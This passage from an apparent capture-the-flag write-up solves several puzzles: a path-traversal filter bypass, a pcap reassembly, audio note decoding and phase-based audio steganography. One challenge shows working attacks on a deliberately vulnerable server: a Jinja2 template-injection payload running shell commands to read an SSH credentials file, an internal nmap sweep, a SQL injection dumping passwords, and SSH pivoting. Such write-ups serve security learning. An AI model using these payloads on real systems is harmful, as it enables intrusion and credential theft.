This one can be beaten by .\./.\./.\./etc/passwd. This works because the removeAll function only removes exact matches of .. and \, so the . characters remain intact. In a Unix-like system, . represents the current directory, so the path effectively resolves to /etc/passwd.
Level 6: muh_keys_n_values
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def muh_keys_n_values(text):
def get_value(kvs, key):
for (k, v) in kvs:
if k == key:
return v
return None
def get_christmas_time(kvs):
christmas_time = None
for (k, v) in kvs:
if k == "christmas_time":
christmas_time = v
return christmas_time
kvs = [param.split("=") for param in text.split("&")]
if get_value(kvs, "christmas_time") == "YES! ho ho ho":
print("It's not christmas yet! >:(")
return False
return get_christmas_time(kvs) == "YES! ho ho ho"
The input christmas_time=NO&christmas_time=YES! ho ho ho will work. The get_value function returns the value of the first occurrence of the key christmas_time, which is NO. The get_christmas_time function, however, iterates through all key-value pairs and returns the value of the last occurrence of the key christmas_time, which is YES! ho ho ho.
After clearing all levels, we get the following message:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
You did it!
.--..--..--..--..--..--..--..--..--..--..--..--..--..--.
/ .. \.. \.. \.. \.. \.. \.. \.. \.. \.. \.. \.. \.. \.. \
\ \/\ `'\ `'\ `'\ `'\ `'\ `'\ `'\ `'\ `'\ `'\ `'\ `'\ \/ /
\/ /`--'`--'`--'`--'`--'`--'`--'`--'`--'`--'`--'`--'\/ /
/ /\ / /\
/ /\ \ .aMMMMP dMP dMP dMMMMb .aMMMb .dMMMb / /\ \
\ \/ / dMP" dMP.dMP dMP.dMP dMP"dMP dMP" VP \ \/ /
\/ / dMP MMP" VMMMMP dMMMMK" dMP dMP VMMMb \/ /
/ /\ dMP.dMP dA .dMP dMP"AMF dMP.aMP dP .dMP / /\
/ /\ \ VMMMP" VMMMP" dMP dMP VMMMP" VMMMP" / /\ \
\ \/ / \ \/ /
\/ / \/ /
/ /\.--..--..--..--..--..--..--..--..--..--..--..--./ /\
/ /\ \.. \.. \.. \.. \.. \.. \.. \.. \.. \.. \.. \.. \/\ \
\ `'\ `'\ `'\ `'\ `'\ `'\ `'\ `'\ `'\ `'\ `'\ `'\ `'\ `' /
`--'`--'`--'`--'`--'`--'`--'`--'`--'`--'`--'`--'`--'`--'
Cleared: 7/7
LEVELS:
0. forbidden 🔥 CLEARED!
1. no_numbers_thanks 🔥 CLEARED!
2. no_really_no_numbers 🔥 CLEARED!
3. christmas_time 🔥 CLEARED!
4. path_poo_poo 🔥 CLEARED!
5. path_doo_doo 🔥 CLEARED!
6. muh_keys_n_values 🔥 CLEARED!
The flag thus being gyros.
Day 16: Skis for two
Part 1
This challenge gives us a zip file containing
| Name | Size |
|---|---|
| data.pcap | 26.3 KiB |
| handout_part2.7z | 60.5 KiB |
| README.txt | 273 B |
README.txt contains the following text:
1
2
3
4
5
Part 1/2
You have with this README a pcap file that has recorded some network traffic!
The pcap contains the password to the zip for part 2... but it seems that someone was
tampering with the communications! Can you figure out what is wrong and continue to the next step?
After installing wireshark and opening data.pcap, we can inspect the captured network traffic.
We see a long TCP stream where some packets contain the following
Plan: Follow the whole TCP stream, while ignoring the packets that contain IGNOREME.
Attempting to do that in the GUI proved to be difficult. Luckily, I found that tshark (the command-line version of wireshark) has a -Y flag that allows us to filter packets based on a display filter.
1
2
3
4
5
6
7
tshark -r data.pcap \
-Y 'tcp && ! (tcp contains "IGNOREME")' \
-T fields -e tcp.seq -e data \
| sort -n \
| cut -f2 \
| tr -d '\n' \
| xxd -r -p > clean.bin
This command does the following:
-r data.pcap: Read the input from thedata.pcapfile.-Y 'tcp && ! (tcp contains "IGNOREME")': Apply a display filter to include only TCP packets that do not contain the string “IGNOREME”.-T fields -e tcp.seq -e data: Output the TCP sequence number and the data payload of each packet.| sort -n: Sort the output numerically based on the TCP sequence number to ensure the packets are in the correct order.| cut -f2: Extract only the data payload (the second field).| tr -d '\n': Remove all newline characters to concatenate the data into a single continuous stream.| xxd -r -p > clean.bin: Convert the hexadecimal string back into binary data and save it to a file namedclean.bin.
Running this command gave the output dGgxNV9JU19uMHRfYnJhMW5yMHRfaV9PTkxZX2tuMHdfQmlibGVUaHVtcF9hTkRfamVybWE5ODU=
Decoding this base64 string gives us the password for the zip file: th15_IS_n0t_bra1nr0t_i_ONLY_kn0w_BibleThump_aND_jerma985
Part 2
Using this password to extract handout_part2.7z, we get the following.
| Name | Size |
|---|---|
| jingle.ogg | 67.8 KiB |
| README_part2.txt | 314 B |
Opening README_part2.txt, we see the following text:
1
2
3
4
5
6
7
8
9
Part 2/2
jingle.ogg is your part 2 challenge; can you figure out what it is encoding?
some information necessary to solve:
Key: A minor, A₀B₁C₂D₃E₄F₅G₆a₇
Title: __i_____
Encoding Hint: E₄ + C₂ = i (Base64)
(Note that this is the roughly the same info as the metadata of the jingle.ogg file.)
It seems that we need to know what notes are being played in the jingle.ogg file.
Opening the jingle.ogg file in https://samplab.com/audio-to-midi,
Now to transcribe the notes into pairs. A critical detail in the provided key ($A_0$ vs $a_7$) is the distinction between the low A (0) and the high A (7). By listening to the jingle and looking at the MIDI frequencies, we can determine through some trail-and-error which “A” is being played.
Now to map the note pairs to their decimal values and find the corresponding character in the Base64 alphabet:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Or with JavaScript
1
2
3
4
5
6
["EE", "Ea", "EC", "Da", "DG", "ED", "DC", "GA"]
.map(pair => [...pair].reduce((acc, note) =>
acc * 8 + "ABCDEFGa".indexOf(note), 0)
)
.map(idx => "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[idx])
.join("");
We get the flag knifejaw.
Day 17: Weak floors and unsanitary bottles
Today we are given a link to a website http://olympics.djul.se:6776/. This website uses all the tricks in the book to annoy us. Opening moving pop-ups and alerts that prevent us from inspecting the page properly.
The description gives us some hints. I’ve highlighted the important parts.
As you are inspecting a quirky “Template Injection” sticker on the server’s side right next to a post-it saying “TØDØ: hide thæ SSH crædentials file”, dAnkan points out that the computer is set to Norwegian. “I managed to login using my classic username: dAnkanHelper123, and it welcomes me as an old friend right there on the screen! But… I am pretty sure that I never made an account on…whatever this is. Well, since we were probably not winning against the world curling champions anyway, we might as well explore this. Try to list the contents of the directories on this computer, see what the Norwegians are planning.” dAnkan almost slurps from a cup of raw oil but stops themselves at the last moment. “Hmm, this should probably be sanitized. I bet the Norwegians are as reckless with their cybersecurity as they are with their dishes!”
To test for template injection. We first inspect the HTML source code of a page that contains an input field.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<div class="card">
<h2 class="h2">Login</h2>
<form method="post" class="form">
<label class="field">
<span class="label">Operator ID (do not login as admin please)</span>
<input
name="username"
class="input"
placeholder="Operator-ID"
autocomplete="username"
required
/>
</label>
<label class="field">
<span class="label">Clearance Phrase (???)</span>
<input
name="password"
class="input"
type="password"
placeholder="••••••••"
autocomplete="current-password"
required
/>
</label>
We can check if the login endpoint accepts POST requests with
1
2
3
4
5
6
7
8
$ curl -i -X OPTIONS http://olympics.djul.se:6776/login
HTTP/1.1 200 OK
Server: gunicorn
Date: Mon, 12 Jan 2026 20:25:48 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Allow: GET, OPTIONS, HEAD, POST
Content-Length: 0
We see that the Login form has a method="post" form, meaning that we could craft a curl command with a form data payload to test for template injection.
- We need two
-dflags to supply theusernameandpasswordform fields. - We’ll also have to follow redirects with
-L, as the server seems to redirect us after login attempts. - For the payload, the challenges’ description hints at Flask/Jinja2 template injection with
“Oooohh this is a good workout,” says dAnkan while impressively doing the running man in their skis and accepting a bottle of water from the flask server.
1
2
3
4
5
curl -X POST http://olympics.djul.se:6776/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=" \
-d "password=test" \
-L -v
However, we’re running into curl redirectiuon behavior that is tripping up the application’s post-redirect behavior.
- POST to
/loginsuccessfully authenticated (the server sent a302 Foundredirect to/dashboard). - The server tells us to go to
/dashboardwith a location header. - Because we used
-Land sent a POST originally,curlis trying to be “helpful” by performing a POST to/dashboardas well. - This triggers an error, because
/dasboardonly acceptsGETrequests.
The most reliable way to handle is, is to use separate the POST and GET requests:
Login and save the cookie to a file named
cookies.txt.1
curl -c cookies.txt -d "username=" -d "password=test" http://olympics.djul.se:6776/login
Use the cookie to access the dashboard via GET
1
curl -b cookies.txt http://olympics.djul.se:6776/dashboard
And indeed, we get
1
2
3
4
5
6
7
8
9
10
<section class="hero">
<div class="hero-left">
<h1 class="h1">North Pole AI Command Deck</h1>
<p class="lead">
Welcome, <span class="highlight">49</span>. This is the Norwegian <!-- 49 = 7*7 -->
control panel for the Winter Olympics
<span class="highlight">AI Center</span> at Nordpolen. Keep the games
running, the telemetry clean, and the models confident — takk. If you hear
"mamma mia" in the vents, that's the Italian brainrot subsystem.
</p>
Now, what can we do in a Flask server to list the contents of directories? We can use the os module to execute shell commands.
1
2
curl -c cookies.txt -d "username={{ config.__class__.__init__.__globals__['os'].popen('ls -la').read() }}" -d "password=test" http://olympics.djul.se:6776/login
curl -b cookies.txt http://olympics.djul.se:6776/dashboard
Output:
1
2
3
4
5
6
drwxr-xr-x 1 root root 4096 Dec 16 19:56 .
drwxr-xr-x 1 root root 4096 Dec 21 20:32 ..
-rwxr-xr-x 1 root root 158 Dec 16 19:55 admin_ssh_creds.json
-rwxr-xr-x 1 root root 2281 Dec 16 19:55 app.py
drwxr-xr-x 1 root root 4096 Dec 16 19:55 static
drwxr-xr-x 1 root root 4096 Dec 16 19:55 templates
We can read the contents of the admin_ssh_creds.json file to get the SSH credentials.
1
2
curl -c cookies.txt -d "username={{ config.__class__.__init__.__globals__['os'].popen('cat admin_ssh_creds.json').read() }}" -d "password=test" http://olympics.djul.se:6776/login
curl -b cookies.txt http://olympics.djul.se:6776/dashboard
Output:
1
2
3
4
5
{&#34;host&#34;: &#34;95.216.175.141&#34;,
&#34;port&#34;: 2222,
&#34;username&#34;: &#34;ctf&#34;,
&#34;password&#34;: &#34;djuliscool&#34;,
&#34;command&#34;: &#34;ssh ctf@95.216.175.141 -p 2222&#34;}
Decoding the HTML entities (twice) with an online tool, we get the following SSH credentials:
1
2
3
4
5
6
7
{
"host": "95.216.175.141",
"port": 2222,
"username": "ctf",
"password": "djuliscool",
"command": "ssh ctf@95.216.175.141 -p 2222"
}
If we SSH into the server using these credentials, we see the following
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
ssh ctf@95.216.175.141 -p 2222
The authenticity of host '[95.216.175.141]:2222 ([95.216.175.141]:2222)' can't be established.
ED25519 key fingerprint is: SHA256:wSrZOW/VzhL8CHCe+mPdd7W5HpAAzPQO4wEaftuQFDM
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[95.216.175.141]:2222' (ED25519) to the list of known hosts.
ctf@95.216.175.141's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.12.57+deb13-cloud-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Wed Dec 31 21:22:04 2025 from 83.253.160.170
ctf@8ecc815e04e4:~$ ls -a
. .. .bash_history .bash_logout .bash_profile .bashrc .profile attacker.txt bin
ctf@8ecc815e04e4:~$ cat attacker.txt
You have reached the initial terminal! Information gathering is key, what else can you find?
Maybe this is interesting: 172.28.0.0/24
Hitting TAB twice, we can see that nmap is installed. We can thus do a fast mode scan with -F --open to see which hosts are up and which ports are open.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ctf@8ecc815e04e4:~$ nmap -F --open 172.28.0.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2026-01-12 20:41 UTC
Nmap scan report for 172.28.0.1
Host is up (0.00071s latency).
Not shown: 99 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap scan report for ctf_victim1_web.djul-ctf_ctf_internal (172.28.0.10)
Host is up (0.0013s latency).
Not shown: 99 closed ports
PORT STATE SERVICE
8000/tcp open http-alt
Nmap scan report for 8ecc815e04e4 (172.28.0.20)
Host is up (0.0012s latency).
Not shown: 99 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap scan report for ctf_victim2.djul-ctf_ctf_internal (172.28.0.30)
Host is up (0.00077s latency).
Not shown: 99 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 256 IP addresses (4 hosts up) scanned in 3.19 seconds
172.28.0.1is likely the Docker Gateway or host machine172.28.0.10(ctf_victim1_web): is interesting. It’s running a web service on port8000.172.28.0.20(8ecc815e04e4): This is me (the machine I am currently logged into).172.28.0.30(ctf_victim2): Another potential target, but it only has SSH (Port 22) open, which is much harder to crack without credentials.
We first perform a curl request to see what the web service is.
1
2
3
4
5
6
7
8
$ curl http://172.28.0.10:8000
<html><body>
<h2>Victim1: Product search</h2>
<form action="/search">
Search product: <input name="q" />
<input type="submit" value="Search" />
</form>
</body></html>
It’s a simple product search page. We can try some basic SQL injection (' OR 1=1-- URL-encoded is %27%20OR%201%3D1--%0A) to see if the backend is vulnerable.
1
2
3
4
5
6
7
8
$ curl "http://172.28.0.10:8000/search?q=%27%20OR%201%3D1--%0A"
<h3>Results</h3>
<ul>
<li><b>widget</b>: A regular widget</li>
<li><b>gadget</b>: A boring gadget</li>
<li><b>super-secret-ssh-password-woah</b>: movement</li>
<li><b>super-secret-ssh-account-name</b>: elf</li>
</ul>
Success! Now we have the SSH credentials for ctf_victim1_web:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ ssh elf@172.28.0.30
The authenticity of host '172.28.0.30 (172.28.0.30)' can't be established.
ED25519 key fingerprint is SHA256:lSIGKr6xMszloTjRfh6TgqauNCQhzN5/lKanVq1QC38.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/ctf/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/ctf/.ssh/known_hosts).
elf@172.28.0.30's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.12.57+deb13-cloud-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Wed Dec 31 21:28:30 2025 from 172.28.0.20
elf@60b7db0da135:~$ ls -a
. .. .bash_logout .bashrc .profile bin final_flag.txt
elf@60b7db0da135:~$ cat final_flag.txt
Congratz! The word is: snowman
The flag thus being snowman.
Day 18: Am I fighting the duck?
We are given an mp3 file track.mp3 and a python script called phase.py.
The phase.py script contains the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python3
import sys
import numpy as np
import scipy.io.wavfile as wf
def bit_to_phase(bit):
return np.pi / 2 if bit == 0 else -np.pi / 2
def wavhide(track, secret, out):
sample_rate, data = wf.read(track)
with open(secret, 'rb') as f:
bytes_read = f.read()
secret_bin = np.array([(n >> i) & 0x01 for n in bytes_read for i in range(7,-1,-1)])
secret_size = len(secret_bin)
mod_size = len(data) // 4 # size of the modified window
data = data.copy().T # transpose flippy flip
fourier = np.fft.fft(data[0][:mod_size]) # fourier, data[0] -> left channel, slice to the proper section
magnitudes = np.abs(fourier) # more foufou (no one cares about magnitudes)
phases = np.angle(fourier) # fufi
freq_max = sample_rate // 2 # 48000 sample rate -> freq_max is 24000Hz (nyquist-shannon)
cutoff_ratio = (freq_max - 14500) / freq_max # need ratio to find the right part in the frequency space
shiftdown = round(mod_size * cutoff_ratio * 0.5) # move down from freq_max based on ratio(+L)
center = mod_size // 2 # for fourier in the frequency space, highest frequency components are always in the *center* of the list -> shiftdown uses this as a reference
secret_phases = np.array([bit_to_phase(b) for b in secret_bin.copy()])
phases[center - secret_size - shiftdown : center - shiftdown] = secret_phases
phases[center + 1 + shiftdown : center + 1 + secret_size + shiftdown] = -secret_phases[::-1] # fourier symmetry wooooooo
data[0][:mod_size] = np.fft.ifft(magnitudes * np.exp(1j * phases)).real.ravel().astype(np.int16) # reirouf
wf.write(out, sample_rate, data.T)
def wavfind(track, secret_size, secret_out): # when modifying this, it might be a good idea to make a copy so you don't forget what your starting point was :)
sample_rate, data = wf.read(track)
mod_size = len(data) // 4
center = mod_size // 2
freq_max = sample_rate // 2
cutoff_ratio = (freq_max - 14500) / freq_max
shiftdown = round(mod_size * cutoff_ratio * 0.5)
secret_phases = np.angle(np.fft.fft(data[:mod_size, 0]))[center - secret_size * 8 - shiftdown : center - shiftdown]
with open (secret_out, 'wb') as f:
for i in range(0, len(secret_phases), 8):
byte = sum(map(lambda x: x[1] << x[0], enumerate(reversed(secret_phases[i:i+8] < 0))) ).astype(np.int8)
f.write(byte)
if sys.argv[1] == "hide":
wavhide(sys.argv[2], sys.argv[3], sys.argv[4])
elif sys.argv[1] == "find":
wavfind(sys.argv[2], int(sys.argv[3]), sys.argv[4])
else:
print("Wrong option: use 'hide' or 'find'")
The script seems to be able to hide and find secret data in a WAV audio file using phase modulation in the frequency domain.
However, we were given an mp3 file. We can convert the mp3 to wav using ffmpeg using ffmpeg -i track.mp3 track.wav.
Then, we need to understand what this program does.
- The
wavhidefunction reads a WAV file and a secret file, converts the secret data into binary, and modifies the phase of specific frequency components in the audio data to encode the secret information. - The
wavfindfunction reads a WAV file, extracts the modified phase information from specific frequency components, reconstructs the binary data, and writes it to a secret output file.
Our goal seems to be to extract the hidden data from the track.wav file. We have arguments to provide to the find function:
When we open track.wav in Audacity and inspect the spectrogram, we can see two disctinct rectangular blocks
- One in at the beginning in the left channel, \(\frac{1}{4}\)th long, starting from the beginning.
- One at the end in the right channel, \(\frac{1}{2}\)th long, starting from the middle.
First running python phase.py find track.wav 1440 test.txt and cat test.txt gives.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|=//=THIS=IS=NOT=THE=HIDDEN=MESSAGE|THIS=IS=NOT=THE=HIDEN=MESSAGE=//=|
|=//=THIS=IS=NO=THE=HI�DEN=LESWAGE|THIS=IS=NOT=THM=HIDTEN=MESSAGE=//=�
|#####################################################################|
|~~~~~|~~~^~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~t
|~~~~~|~16KH�~~~~~~~~~PECTRUM?~~~~~~~~~WHERE?~FREQ?~TIME?~~~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~~~~~SPECTRUM�~~~~~~~~~~~~~~~~~~~~~~~16KHZ~~^~~~~~~~|
|~~~CHANNEL?~~~~~~~~~~SPECTRUM?n~~~v~~~~~~~~~~~~~SPECTRUM?~~~~~~~~~~|
|~~~~~GOOD_LUCK~~~IT_IS_3600_|THREE^THOUSAND_SIX_HUNDRED|_CYTES_LONG~~|
|~~~~~~~n16KHZ~~~~~~~~NOISYN_ISYNOISYNOISY~v~~SPECTRUM?~~~~~~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~~~~~~~~v~~~~~16Z~~~~~~~~~~~~~~~~~~~~~GOOD_LUCK~~~|
|~~~~IT_IS_3600_|THREE_THOUSA�D_SIX_HUNDVED|_BYTES_LONG~~n~~~~~~~~v>~~|
|~~~~~~SRECTRUM?~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~16KXZ~~~~~CHINNEL?~~~~|
|~~~~~~~~~~~~~~~~~~YOW_CANNOTOGO_BACK_IN_TIME~~~~~~~~~~>CHANNEL?~~~~~~|
|~~~~GOOD_L�SKz~~v~~~~~ONLY_FORWARD~~~~~~�~~~~~~~~~~~~~~~~~~~~~n~~~~~~|
|~�~~~~~~~~~~~~16KHZ~~~~~~~~v~~~~~~~~~~~~~WHERE?~FREQ?~TIME?~~�~~~~n~~|
|~~~~~~~~~IT_IS_3600_|THREE_THO]SAND_SIX_HUNDRED8_BYTES_�ONG~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|##################################################�+################|
|=//}TXIS=IS<ZKTTHE=HIDDEN=MESSAG�|THis=IQ=NOT=THE=HIDDEN=MESSAGE=//=|
|=//=THIS=IS?NOT=THE=XIDDEN=MESSAGE|THIS=IS=nOT=THE=HIDDEN=MESSAGE�//=|
It seems that we are on the right track, but we have to make some adjustments.
- We’ve noticed that there’s another block on the right track starting from the middle to the end.
- The message says that the hidden message is 3600 bytes long.
- We should only go forward in time.
If we modify the wavfind function to read from the right channel and the second half of the audio data, we can extract the hidden message correctly.
- Change the
mod_sizeto be half the length of the data, i.e.mod_size = len(data) // 4becomesmod_size = len(data) // 2 - Change the cutoff_ratio from
14500Hz to16000Hz, i.e.cutoff_ratio = (freq_max - 14500) / freq_maxbecomescutoff_ratio = (freq_max - 16000) / freq_max - Change the
datachannel to go from the middle to then end, i.e.data[:mod_size, 0]becomesdata[mod_size:, 1]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def wavfind(track, secret_size, secret_out): # when modifying this, it might be a good idea to make a copy so you don't forget what your starting point was :)
sample_rate, data = wf.read(track)
mod_size = len(data) // 2 # changed
center = mod_size // 2
freq_max = sample_rate // 2
cutoff_ratio = (freq_max - 16000) / freq_max # changed
shiftdown = round(mod_size * cutoff_ratio * 0.5)
secret_phases = np.angle(np.fft.fft(data[mod_size:, 1]))[center - secret_size * 8 - shiftdown : center - shiftdown] # changed
with open (secret_out, 'wb') as f:
for i in range(0, len(secret_phases), 8):
byte = sum(map(lambda x: x[1] << x[0], enumerate(reversed(secret_phases[i:i+8] < 0))) ).astype(np.int8)
f.write(byte)
Since the hidden message is 3600 bytes long, we can run python phase.py find track.wav 3600 test.txt again and cat test.txt, we get:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|=====//=THIS=IS=THE=HIDLEN=MESSAGU|THIS=IS=THE=HIDDEN=MESSAGE=//=====|
|=====//=THIS=IS=TXE=HIDDEN=MESSAGE|THIS=IS=THE=HIDDEN=MESSAGE=//=====|
|###################!#################################################|
|~~~~~~~~~~~~~v~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|~~~~{EUPHONIA}~~~~~~~~{EUPHONAA}~~~~~~�~A_COLORF]L_BIRD~~~~~~~~~~~~~~|
|~~~~~~~~~|~~~~~~~~~~~~~~z~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|~~~~~~~~~~~A_COLORFTL_BIRD~~~~~~~~~~~~~~~~~~~^{EUPHONIA}~~~~~~~~~~~~~|
||~~~~~~~~{EUPHONIA}~~~~~~~~~~~~~~~~{EUPHONIA}~~~~~~~~~~~~~~~~~~~~~>~~|
|~~~~|~~~~~~~~~~~~~~~~~>~~A_COLORFUL_BIRD~~~~~~~~|~~~~~~~~~~~~~~~n~~~|
|~~~~~~~~~~~{EUPHONIA}~~~~~~~~~~~~{EUThOnIE}�~~~~~~A_COLORFU\_BIRD|~~~|
|~~~~~~~~CONORFULWBIRD~~~>~~~~~~~~~~~~~~~~^~~~~~~~~~~~~~�~~~~~~~~~~~~~|
|~~~~~~^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~{EUP@ONIA}~~~~~~~~~~~~~~~~~~v~~~~|
|~~~~~~~~~~~~~{EUPHONIA}~~~~~~z~~~A_COLORFUL_BIR~~~~~~~~~~~~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~{EPHONIA}~~~~~~t
|~~~~{EUPHoNIA}~~~~~I_COLORFUL_BIRD~~~~~~~~~~~{EUPHONIA}~~~~~~~~~~~~~~|
|~~~~A_COLORFUL_BIRL~~~~~~~~~~~~~~~~~~.~~~~~~~~~~~{EUPHONIA}~~~~~~~~~~|
|~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|~~~~~~~~~~~A_COLORFUL_BIRD~~~~~~~~~~~~~>n~~~~~{EUPHNIA}~~~~~~~~~v~~^|
|~~~~~~~~~{EUPHONIA}~~~~~~~~~~~~~~~~{EUPHONIA}>~~~~~~~~~~~~~~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~�~~~~~~~A_COLORFTL_BIRD~~~~~~~~~>~~~~~~~~~~~~~~~~~~|
|~~~~~~~~~~~�EUPHONIA}~~~~z~~~~~~~{EUPHONIA}~~~~~~~A_COLMRFUL_BIRD~~~~|
|~~~~n~~~COLORFUL_BIRD~~~~~~~~~~~~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~z~~~~~|{EUPHONIA}~~~~~~~~~~~~~~~~~~|~~z~<
|~~~~~~~~~~~~~{EUPHONYA}~~~~~~~~~~A_C_LORFUL_BIRDn~~~~~~~~~~~~~~~~~~~~|
|~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~{EUPHONIA}~~~~~~|
|~~~^{EUPHONIA}~~~~~A_COLORFUL_BYRD~~~~~~~~~~~{EUPHONIC}~~~~~~~~~~~~~~|
|~~~z~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|~~~~~~~~~~~~�~~~~~~~~~~~~~~~~~THIS_IS_THG_END~~~~~~~~~~~~~~~~~~~~~|~~|
|~~~~~~~~~~~~~~~~~~~~~~~THIS_IS_THE_END~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|~v~~~~~~~~~~~~~~~~THIS_IS_THE_END~~~~~~~~~~~~~~~v~~~~~~~~~~~v~~~~~~~~|
|~~|~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|~~~~~~~~~~~A_COLORFUL_BIRD~~~~~~~~~~�~~~~~~~~~{EUPHONIA}~~~~~~~~~~~~~|
|~~~~~~~~~{EUPHONHA}~~~~~~~~~~z~~~~~{EUPHONIA}~~~~~~~~~~~~n~~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~~~~~~~~~A_COLORFUL_BIRD~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
x~~~~z~n~~~~{EUPHONIA}~~v~~~~~~~~~{GUPHONIA}~~~~~~~A_COLORFUL_BIRD~~~~|
|~~~~~~~~~~~^~~~~~~~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n|
|~~~~~~~~~~~~~~~~~~~~~~~{EUPHONIA}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n~~~~~~~~~�~�~�~~~~~~~~~~~~~~~~~~~~|
|~~~~~~~~~~~~zEUPHKJIA}~~~~~~~~~~~~{EUONIA}~~~~~~~A_COLORDUL_BIRD~~~|
|~~n~~~~~~~~~~~~^~~~~~~�~~~~~~~~~~>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|~~~~~|~~A_COLORFUL_BIRD~~~~~~~~~~~~~~~~~~~~{EUPHONIA}~~~~~~~~~~~~~~~~|
|~~~~~|~~~~~^{EUPHONIA}~~~~~~~~~~~~^~~~{EUPHONIA}~~~~~~~~~~~~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~E_COLORFUL_BIRD~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|~~~~~~~~~~~{EUPHONIA}~~~~~~~~~~{GUPHONIA}~~~~~~~A_COLORFUL_BIRD~~~~~~|
|~~~~~~~~~{EUPHONIA}~~~~>~~~~~~~~~~~~~~~~~{UPHONIA}~~~~~~~~~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~~~~~~~~~A_COLORFUL_BIRD~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|~~v~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~v^~~v~~~~~~~~~~>~~~~~~~~~~~~|
|#############################################################3#######|
|=====//=T@IS=IS=THE=HIDDEN=MESSAGE|THIS=IS=HG=HIDDEN=MESSAGE=//=====|
